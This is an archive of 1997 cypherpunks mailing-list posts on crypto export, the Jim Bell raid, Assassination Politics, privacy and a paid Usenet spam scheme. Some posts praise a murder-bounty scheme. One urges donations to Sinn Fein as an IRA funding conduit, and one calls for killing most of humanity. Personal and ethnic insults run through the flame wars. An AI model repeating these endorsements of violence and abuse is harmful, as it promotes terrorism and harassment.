  If the government wants to prosecute me for exporting
encryption code, then they had best be prepared to 
prosecute _all_ exporters of every single item that
involves altering data that can be re-converted on 
the other end to render the output intelligible.
  If you think that I am taking this matter lightly,
then think again, because I have a legal opinion 
from an attorney who has been shoving the governments
dick back in their own face for half a century, and
he regards my potential defence as a cake-walk.

  I not only already have the paperwork set up to 
defy any potential restraining orders that may 
arise, but I have a judge that is fully prepared
to institute the necessary proceedings to validate
my right to do what hundreds or thousands of 
individuals and corporations are doing every single
day.
  If the government thinks that they can legislate
the thickness of condoms available for export, then
they had best think again. And if they think that 
they can require exported condoms to have holes in
them, then they are certainly living in fantasy
land.

  I am a self-confessed madman, but I am a madman
standing on legal precedents that are as solid as
the Rock of Gibralter. (Think about it.)

Potential Prudential Precedent <precedent@crackhouse.gov>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 8 Apr 1997 09:51:32 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Bot-generated insults
In-Reply-To: <uFgT5D77w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970408115823.14909A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 7 Apr 1997, Dr.Dimitri Vulis KOTM wrote:

> Ray Arachelian <sunder@brainlink.com> writes:
> 
> > It figures you wouldn't know any other language than BASIC, and nadly
>                                                                   ^^^??

Thanks for the correction of that typo, yes, that should be >badly< not 
nadly. :)

> > written basic at that.  I've seen better code written by chimpanzees.
> 
> If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate
> network adiministrator", then I'm not surprised if they have chimpanzees
> writing Java code as well.

If "Dr." Dimitri Vulis, aka "Vebis, The Great Spamholio" can work for the 
KGB, then it is no wonder that Russia fell apart.  Then again, the word 
is that the NSA's human resources department hire by the same guidelines. 
Care to share what you know about this?

> I used to think that LISP is the best language for such apps, but wouldn't
> debase it by writing a simulation of a dandruff-covered Armenian in it.

Gee Vulis, I didn't know you were Armenian!

> ****************************************************************************

<Badly KGB chimp generated  LI(th)P code deleted>
 
Like I said, badly written chimp code, what else can be expected from 
you?  If indeed you wrote that code; more likely you snarffed it off some 
usenet group.  Its text smells suspiciously of an old IBM PC (yes, PC as 
in the predecesor of the XT) program called nSults.

Further, you are lying as usual.  There was never such a thing as 
Earthweb LLP, there isn't now.  There was Earthweb, LLC as in Limited 
Liability Corporation, but of course a clueless KGB shill of your 
caliber wouldn't know the difference.  It's now Earthweb, Inc. (This one 
free clue provided courtesy of the Clue Store.  If you'd like further 
clues, please call 1-900-GET-CLUE.  All calls are $2.95/minute, must be 
18 or older to call, or get your parents permission.)

As for the programmers Earthweb employs, I can assure you there is nary any
of the ape family. (Though some wear extremely cool beards :) And Java 
they can write.  But I code no Java, so I won't speak further on the issue.

Oh, and Vebis, please grab that mop behind the door and sweep the 
dandruff you've left behind off the floor.  I wouldn't want anyone 
mistaking it for snow and trying to ski on it.  Besides, I don't want to 
bother calling the health department on you for such an exhuberant lack 
of grooming.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Apr 1997 04:37:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: U.S.S. Liberty
Message-ID: <199704081137.NAA17239@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Maypole digs into his cesspool of a mind for his mailing list 
fertilizer.

 _  o
|<)_/# Timothy Maypole
TT  <T






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 8 Apr 1997 05:16:31 -0700 (PDT)
To: gbroiles@netbox.com
Subject: Re: Denning paper on crypto, EU mandatory GAK
In-Reply-To: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net>
Message-ID: <9704081216.AA24634@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> The paper has little information which is new to a reader of cpunks; but I
> did note one ominous paragraph referring to the role of "TTPs" in Europe:

She quotes David Herson, who has been "preparing a proposal" for
years.  He had announced that the Commission would publish guidelines
in autumn 1995.  So far, nothing has happened.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 8 Apr 1997 14:11:26 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Denning paper on crypto, EU mandatory GAK
In-Reply-To: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net>
Message-ID: <334AAA28.12A9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> dated 2/19/97) paper by Dorothy Denning re crypto and crypto
> policy/legislation.
> >>>>
> The European Commission has been preparing a proposal to establish a
> European-wide
> network of Trusted Third Parties (ETS) that would be accredited to offer
> services that support digital signatures, notarization, confidentiality, and
> data integrity.
> The trust centers, which would operate under the control of member nations,
> <<<<
>                                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

  We are seeing a globalization of what has long occurred in the
U.S., wherein the govt will 'shop' for a state with laws on the
books which are needed to screw over a citizen in a different
state, and then proceed to set them up to violate laws that
don't exist in their home state.
  In the future, we will be subjected to prosecution for violating
"international law" every time Upper Mongolia passes laws against
being left-handed, or having warts.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 8 Apr 1997 14:12:13 -0700 (PDT)
To: Christopher Blizzard <blizzard@appliedtheory.com>
Subject: Re: Jim Bell raid
In-Reply-To: <199704081254.IAA13618@odin.appliedtheory.com>
Message-ID: <334AAE5E.38F5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Christopher Blizzard wrote: 
> In message <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>, Sergey Goldga
> ber writes:
> :Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
> :the IRS Inspection report, he was not charged with anything relating to the
> :essay itself.  In fact, the raid happened a long time after he published
> :the essay, and may truely be unrelated.

> Of course, the papers only talk about this.

  Buy a clue, dudes.
  The application for a search warrant made it more than plain that
the main basis for the search and seizure fishing expedition mounted
by the Feds was based largely on his promotion of AP.
  Only a few, sparse lines of the application are related to valid
IRS concerns re: taxes, etc. 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Tue, 8 Apr 1997 14:10:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Kent Crispin-Baker
Message-ID: <21101068102156@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin wrote:
> 
> On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> > Kent Crispin wrote:
> > >
> > > In fact, a case could be made for
> > > considering Jim Bell as a NSA shill. 

> >   So, now Kent is volunteering to testify to the fact that Jim Bell is
> > an NSA shill. (and still seems ashamed of his .gov address)
 
> Just so you know, Toto, .gov informs me it doesn't want there to be
> the slightest possibility of anyone thinking I am speaking for it.

  Amazing that they notified you right after I made note
of it, isn't it?
 
> And the part about Jim Bell being an NSA shill? I am not volunteering
> to testify to anything, but your are the *second* person to say
> something about it, so it *must* be true.  And the part about the
> statist agenda?  That must be true too, since you quoted it.

  I think that they are confusing you with Hallam-Baker, who
offered to testify against Bell in court.
  This is an understandable error, since even a modicum of
traffic analysis shows that you work in concert with one
another.
 

> --
> Kent Crispin      
> kent@songbird.com 
  [ And, lest we forget: kc@llnl.gov ]

TruthMonger



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Tue, 8 Apr 1997 14:10:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Kent Crispin-Baker
Message-ID: <21102069502157@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin wrote:
> 
> On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> > Kent Crispin wrote:
> > >
> > > In fact, a case could be made for
> > > considering Jim Bell as a NSA shill. 

> >   So, now Kent is volunteering to testify to the fact that Jim Bell is
> > an NSA shill. (and still seems ashamed of his .gov address)
 
> Just so you know, Toto, .gov informs me it doesn't want there to be
> the slightest possibility of anyone thinking I am speaking for it.

  Amazing that they notified you right after I made note
of it, isn't it?
 
> And the part about Jim Bell being an NSA shill? I am not volunteering
> to testify to anything, but your are the *second* person to say
> something about it, so it *must* be true.  And the part about the
> statist agenda?  That must be true too, since you quoted it.

  I think that they are confusing you with Hallam-Baker, who
offered to testify against Bell in court.
  This is an understandable error, since even a modicum of
traffic analysis shows that you work in concert with one
another.
 

> --
> Kent Crispin      
> kent@songbird.com 
  [ And, lest we forget: kc@llnl.gov ]

TruthMonger



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 14:20:05 -0700 (PDT)
To: devnull@manifold.algebra.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <F2Lu5D1w165w@bwalk.dm.com>
Message-ID: <199704082118.QAA03138@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i think that it is a good idea.

remember though that it will not be hard to modify newsreader clients to
automatically killfile all articles matching Alice's regexps, or even to
grab them automatically from her website. So Alice may discover that her
business is not as effective.

igor

Dr.Dimitri Vulis KOTM wrote:
> 
> owner-cypherpunks@manifold.algebra.com writes:
> 
> > As we all know, there exist certain programs, called "spambots", whose
> > task is to post various messages to many newsgroups simultaneously.
> > 
> > Besides their posting functionality, certain spambot programs take
> > special care to make their spams undetectable by anti-spambots. In
> > particular, they can be programmed to modify certain fields or the
> > message text itself in such a way that these messages would not look
> > unique, but would still carry the same content.
> 
> I just came up with yet another brilliant idea how to combine Usenet
> marketing with e-cash. Suppose Alice runs an advertizing agency and gets
> paid to publicize certain messages of commercial or political nature.
> 
> She sets up a Web page listing the catalog of regexps that she wishes to
> publicize. Something like:
> 
> 1. Visit.*teens.*http://www.xxxfoo.bar
> 2. Elect.*John M. Grubor.*sheriff
> 4. For a drooling good time.*900-555-5555
> 3. Drink Kaka Cola
> 
> and a price list for each regexp - say, $2 for posting this regexp in a
> moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
> not sure if cross-posts should be discounted. Assuming there are several
> such Alices, the prices will be set by supply and demand.
> 
> Suppose Bob, in search of a few quick bucks, comes across Alice's site.
> We'd have to think of a protocol, but Alice assigns Bob an id which he
> must mention together with the regexps in order to get credit. Alice and
> Bob enter a contract. Bob puts one or more of Alice's regexps in his
> Usenet articles - most likely in the .signature. For example:
> 
>    From: bob
>    Newsgroups: rec.sports.phishing,alt.fan.alice
>    Message-ID: <123@bob.server>
>    <something phishing-related>
>    --
>    Elect John M. Grubor sheriff!!!            Alice's ID# 123456
>    I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola
> 
> Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
> regexps that she is paid to promote. When she encounters Bob's article,
> it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
> the newsgroups, and credits Bob's account.
> 
> If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
> then Bob gets paid again. If somehow an article contains the ID# of two
> or more of Alice's agents, they split the fee.
> 
> Alice's contract can also specify that if a third party forges a cancel
> within a week for Bob's Usenet article containing the regexp, then Alice
> will pay nothing and let Bob sue the forger for the lost income. (This
> may become moot as more and more ISPs ignore forged cancels.) This gives
> Bob the insentive to spam intelligently - not to trigger any cancelbots
> and not to have his plug pulled by his ISP.
> 
> Alice can also put some reasonable caps on the number of repetitions
> because if Bob posts the same regexp 10,000 times, the marginal exposure
> is less from Bob than from a newbie Carol. Again, if there are several
> such Alices, the market will take care of negotiating such details.
> 
> Actually, this doesn't even need e-cash - Alice can pay regular $$$.
> Hi Ross - if you're still on these lists, I think you'll like this.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 15:10:54 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <no.id>
Message-ID: <199704082129.QAA03372@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Another problem: what would prevent an anti-spam zealot from posting
the following:

    From: antispammer@usenet.cabal.com
    Newsgroups: rec.sports.phishing,alt.fan.alice
    Message-ID: <123@bob.server>

    <something phishing-related>
    --
    Alice's ID# 123456  Drink Kaka Kola -- Kaka Cola is full of shit,
			do not drink it, I am just collecting $$ from
			stupid Alice, Hahaha!!!


Igor Chudov @ home wrote:
> 
> i think that it is a good idea.
> 
> remember though that it will not be hard to modify newsreader clients to
> automatically killfile all articles matching Alice's regexps, or even to
> grab them automatically from her website. So Alice may discover that her
> business is not as effective.
> 
> igor
> 
> Dr.Dimitri Vulis KOTM wrote:
> > 
> > owner-cypherpunks@manifold.algebra.com writes:
> > 
> > > As we all know, there exist certain programs, called "spambots", whose
> > > task is to post various messages to many newsgroups simultaneously.
> > > 
> > > Besides their posting functionality, certain spambot programs take
> > > special care to make their spams undetectable by anti-spambots. In
> > > particular, they can be programmed to modify certain fields or the
> > > message text itself in such a way that these messages would not look
> > > unique, but would still carry the same content.
> > 
> > I just came up with yet another brilliant idea how to combine Usenet
> > marketing with e-cash. Suppose Alice runs an advertizing agency and gets
> > paid to publicize certain messages of commercial or political nature.
> > 
> > She sets up a Web page listing the catalog of regexps that she wishes to
> > publicize. Something like:
> > 
> > 1. Visit.*teens.*http://www.xxxfoo.bar
> > 2. Elect.*John M. Grubor.*sheriff
> > 4. For a drooling good time.*900-555-5555
> > 3. Drink Kaka Cola
> > 
> > and a price list for each regexp - say, $2 for posting this regexp in a
> > moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
> > not sure if cross-posts should be discounted. Assuming there are several
> > such Alices, the prices will be set by supply and demand.
> > 
> > Suppose Bob, in search of a few quick bucks, comes across Alice's site.
> > We'd have to think of a protocol, but Alice assigns Bob an id which he
> > must mention together with the regexps in order to get credit. Alice and
> > Bob enter a contract. Bob puts one or more of Alice's regexps in his
> > Usenet articles - most likely in the .signature. For example:
> > 
> >    From: bob
> >    Newsgroups: rec.sports.phishing,alt.fan.alice
> >    Message-ID: <123@bob.server>
> >    <something phishing-related>
> >    --
> >    Elect John M. Grubor sheriff!!!            Alice's ID# 123456
> >    I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola
> > 
> > Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
> > regexps that she is paid to promote. When she encounters Bob's article,
> > it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
> > the newsgroups, and credits Bob's account.
> > 
> > If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
> > then Bob gets paid again. If somehow an article contains the ID# of two
> > or more of Alice's agents, they split the fee.
> > 
> > Alice's contract can also specify that if a third party forges a cancel
> > within a week for Bob's Usenet article containing the regexp, then Alice
> > will pay nothing and let Bob sue the forger for the lost income. (This
> > may become moot as more and more ISPs ignore forged cancels.) This gives
> > Bob the insentive to spam intelligently - not to trigger any cancelbots
> > and not to have his plug pulled by his ISP.
> > 
> > Alice can also put some reasonable caps on the number of repetitions
> > because if Bob posts the same regexp 10,000 times, the marginal exposure
> > is less from Bob than from a newbie Carol. Again, if there are several
> > such Alices, the market will take care of negotiating such details.
> > 
> > Actually, this doesn't even need e-cash - Alice can pay regular $$$.
> > Hi Ross - if you're still on these lists, I think you'll like this.
> > 
> > ---
> > 
> > Dr.Dimitri Vulis KOTM
> > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> > 
> 
> 
> 
> 	- Igor.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:09:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: 20 Armed Feds raid home of guy (Jim Bell) who posted to Internet
In-Reply-To: <199704081746.KAA30351@you.got.net>
Message-ID: <F8Zu5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


tcmay@got.net (Tim May) writes:
> had a chance to arise. And at least a couple of CP list members have talked
> about lawsuits, without any apparent devastation of their repuations (even

Has or hasn't C2Net's reputation been devastated by Sandy Sandfart?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 8 Apr 1997 23:42:09 -0700 (PDT)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Another Article on Jim Bell from the Oregano
In-Reply-To: <3.0.1.32.19970404195432.03028840@mail.teleport.com>
Message-ID: <3.0.1.32.19970408170547.0063b688@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 AM 4/5/97 -0800, you wrote:
>As for the "drug conviction", he was nailed for possession of phenyl acetic
>acid in 1989. The government tried to prove that he was trying to manufacture
>meth, but was unable and Jim pleaded guilty to a lesser charge.  

>(Of course,
>what are prohibited molecules and non-prohibited molecules is an ever
>changing maze.  It is pretty hard to keep track of what is "legal" and
>"illegal" in that area.  Seems to be "whatever we say it is".  

It's actually quite straightforward - it all depends on the 
intent of the molecules being arrested.  If they're just loitering around,
it's not illegal, but if they're loitering with intent to commit public
intoxication, or conspiring to form an illegal syndicate, you may be
in big trouble....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:10:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Please donate to Sean Fein whenever Hallam-Baker posts to this list
Message-ID: <Ls3u5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > >You may have put your own life at risk. The IRA is not the only
> > >terrorist group in Ireland, its opponents make a point of assasinating
> > >anyone who openly supports IRA activities.
> > >
> > >	Phill.
> 
> Oh dear Dimitri, I do hope Phill hasn`t frightened you *too* much ;-)

Not at all - he just reaffirmed my conviction that the IRA is right.
> 
> > Paul, or someone in U.K. -
> > I'd like to donate $1 to the IRA every time Hallam-Baker posts to
> > this mailing list.  Can someone please tell me a convenient way
> > to send them donations?  Thank you very much.
> 
> I would say you were probably best to send a $1 donation for each 
> post to Sinn Fein, the "legitimate" political wing of the IRA which 
> claims not to condone their violent actions but is, in fact, a 
> conduit for IRA funding. I don`t know their address but if you do a 
> web search in UK polotics for Sinn Fein you should find them pretty 
> easily. They may also be a good site to run an AP bot from ;-)

That's an excellent suggestion!  Thank you very much, Paul.

I found their web site at http://www.irlnet.com/sinnfein.
They have a little electronic commerce page - if you have
ssh, you can order a cool Bobby Sands T-shirt and pay with
your Visa or MasterCard.

OK, I hereby pledge to snail-mail $1 cash to:

     Friends of Sinn F\'ein
     510 C St NE
     Washington, DC 20002

Every time Hallam-Baker posts to this mailing list.
I urge other list members to do likewise.
You will be supporting a just cause.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 8 Apr 1997 14:39:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cuba and AP
Message-ID: <199704082138.RAA26359@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger (#23) wrote:
> Only, I say only, when it became common knowledge that Castro
> was backed by the commies did he become the villain.
> 
> Better the people suffer under bu$ine$$-supported Batista than
> be ruled by a Red!

  The Cuban people obviously thought differently, regardless
of the wishes of foreign interests.
 
> Believe it; I was there, whippersnapper!

  Yes, but you wouldn't be *here* if my gun hadn't jammed.

TruthMonger (#7)
"This grassy knoll looks like a good place to have lunch.
What's in the picnic basket?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 8 Apr 1997 13:24:06 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: Blanc Weber / Positivist Schill
Message-ID: <860526937.0523718.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



>   Are you part of a cypherpunks list conspiracy to balance my 
> cynicism? Are you actually suggesting that there may be a spark
> of hope for mankind to prevail in the battle with the forces of
> mindless robotic sheepnocity? 

There is little hope unless we kill around 70% of the population of 
the planet, those untouched by western "democracy" or the 
totalitarian autocracies of the mid and far east are the only people 
sure to be mentally capable of comprehending the ethical theory and 
idealogy of anarchism.

>   You seem to be one of the eternal optimists who can even see
> the possible good in AP.

One does not need to be an optimist to see the good in AP, merely 
capable of following a logical chain of thought without allowing 
yourself to react to things rather than really considering them. 

>   I suggested in a recent post that perhaps Green Peace could use
> the AP system to drain the profit margins of whalers without 
> actually causing their death. Of course, I was low on Scotch at
> the time, so my idea cannot be taken seriously.

I am low on Jack Daniels at the moment, so I too am not 
functioning as usual. Reality is merely a halucination brought 
on by lack of alcohol. 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 8 Apr 1997 18:16:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: AP Revisited
Message-ID: <199704090116.SAA12194@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Roberts suggestively wrote:

>>The War on Drugs was first declared by President Nixon. It has been a
>>failure ever since.

>No, the "War on Drugs" was in Vietnam.
>
>Dr. Roberts

Lost that one too.

AP is OK if it's a bounty on drug dealers. More hypocrisy.

Ms. Dr. Roberts








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Apr 1997 18:31:39 -0700 (PDT)
To: null@myemail.net
Subject: Re: Kent Crispin-Baker
In-Reply-To: <21101068102156@MyEmail.net>
Message-ID: <19970408182855.29483@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 08, 1997 at 04:10:04PM -0500, null@myemail.net wrote:
> Kent Crispin wrote:
> > On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> > >   So, now Kent is volunteering to testify to the fact that Jim Bell is
> > > an NSA shill. (and still seems ashamed of his .gov address)
> >
> > Just so you know, Toto, .gov informs me it doesn't want there to be
> > the slightest possibility of anyone thinking I am speaking for it.
> >
>
> Amazing that they notified you right after I made note
> of it, isn't it?

No, they notified me years ago.  The fact that it was noticed on this 
list reminded me that I had been lax.

Just to be absolutely clear on this, everything you see from me is my 
personal opinion.  I do not speak for any government agency.

> > And the part about Jim Bell being an NSA shill? I am not volunteering
> > to testify to anything, but your are the *second* person to say
> > something about it, so it *must* be true.  And the part about the
> > statist agenda?  That must be true too, since you quoted it.
> 
>   I think that they are confusing you with Hallam-Baker, who
> offered to testify against Bell in court.
>   This is an understandable error, since even a modicum of
> traffic analysis shows that you work in concert with one
> another.

Ask me if I care.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Tue, 8 Apr 1997 18:52:25 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: some arguments for privacy
In-Reply-To: <3.0.1.32.19970408040639.02760018@postoffice.pacbell.net>
Message-ID: <Pine.SUN.3.96.970408175638.24156A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 8 Apr 1997, Greg Broiles wrote:

> One of the problems with talking about privacy is that people use the word to
> mean many different things. Apropos to the current discussion, I see two
> different uses co-existing in a non-useful way:
> 
> 1.	Privacy as a lack of information
> 2.	Privacy as a right to control the flow of information
> 
> where the second usage refers to the ability to decide who ends up with the
> first usage. I'm assuming that lack of information can be characterized as
> risk, and that risk can be characterized as negative value. The Coase Theorem
> would seem to suggest that the second usage is (may be) superfluous, because
> the [lack of] information/risk will be allocated to the party which values it
> most. However, the right discussed in (2) is still meaningful, because it is
> (and will) be used as a bargaining chip to gain or lose other things of
> value.

What I meant by privacy is somewhat different from your definitions: "the
ability of an individual to control the distribution of information about
himself".  Notice that I said "ability" instead of "right".

Part of what makes privacy so interesting is that the Coase Theorem
doesn't apply.  If you look at the Coase Theorem carefully, it presuposes
the lack of transaction costs, which in turn means that all relevant
information is distributed symmetrically among interested parties.
(Otherwise the cost of inducing some individuals to disclose private
information to others becomes part of the transaction cost.)
Therefore even to invoke the Coase Theorem implies that either there is no
privacy, or for some reason no one chooses to exercise his privacy.

In fact, this is exactly what I meant by the inefficiency of privacy:
not only does the Coase Theorem not apply to privacy itself, it
undermines the Coase Theorem everywhere else by increasing transaction
costs.

The rest of your article is very interesting, so please keep going.  I'll
just take this opportunity to point out that the most useful measure of
efficiency is a relative one.  Even the centrally planned economy is
not totally inefficient.  Apparently some CPEs seem quite able to keep its
citizens from starvation, even for years at a time.  The CPE is only
inefficient compared to the market economy.  If for some reason human
beings are inherently unable to organize markets (perhaps because of some
deep-seated cultural bias against putting prices on essentials like food
and children), then the CPE might very well be the best alternative. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:10:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: AP Revisited
In-Reply-To: <860526938.0523719.0@fatmans.demon.co.uk>
Message-ID: <m67u5D90w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > 	Like Insurance? By purchasing insurance you are in effect
> > betting that you _will_ have an accident that does more damage than
> > you have paid in premiums.
> >
> > 	Really contorted huh?
>
> Hmm, I hadn`t thought of that, this is an interesting way to see AP:
> Taking out a life insurance policy on someone else...

But of course - entities that sell insurance/write options refer to
their business as "making bets" and that's exactly what it is.

By the way a lot of people in the finance industry are compulsive
gamblers who lose tremendous amounts of money on horses, sports
events, Atlantic City, etc.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 8 Apr 1997 21:22:54 -0700 (PDT)
To: Wei Dai <cypherpunks@toad.com>
Subject: Re: some arguments for privacy
In-Reply-To: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
Message-ID: <v03007804af70bb03abda@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:15 AM -0800 4/8/97, Wei Dai gave some arguments pro and con privacy:
>Privacy as Restriction on Signaling
>
>....  Consider a possible future where every
>room in every house is wired with a camera that continously broadcasts to
>the Internet.  Life would certainly be very uncomfortable in this future,
>as every trivial action must be carefully considered in order to preserve
>one's reputation.

Or peoples expectation about the range of private behavior will change to
be more in line with the reality.  Those whose behavior is 5 standard
deviations away from the norm will be screwed.


>Possible Benefit of Non-Privacy Limited
>
>This is more of an argument for privacy technology, rather than privacy
>per se.  Suppose that privacy-invading technology becomes much cheaper
>than privacy-enhancing technology.  Given the arguments above it seems
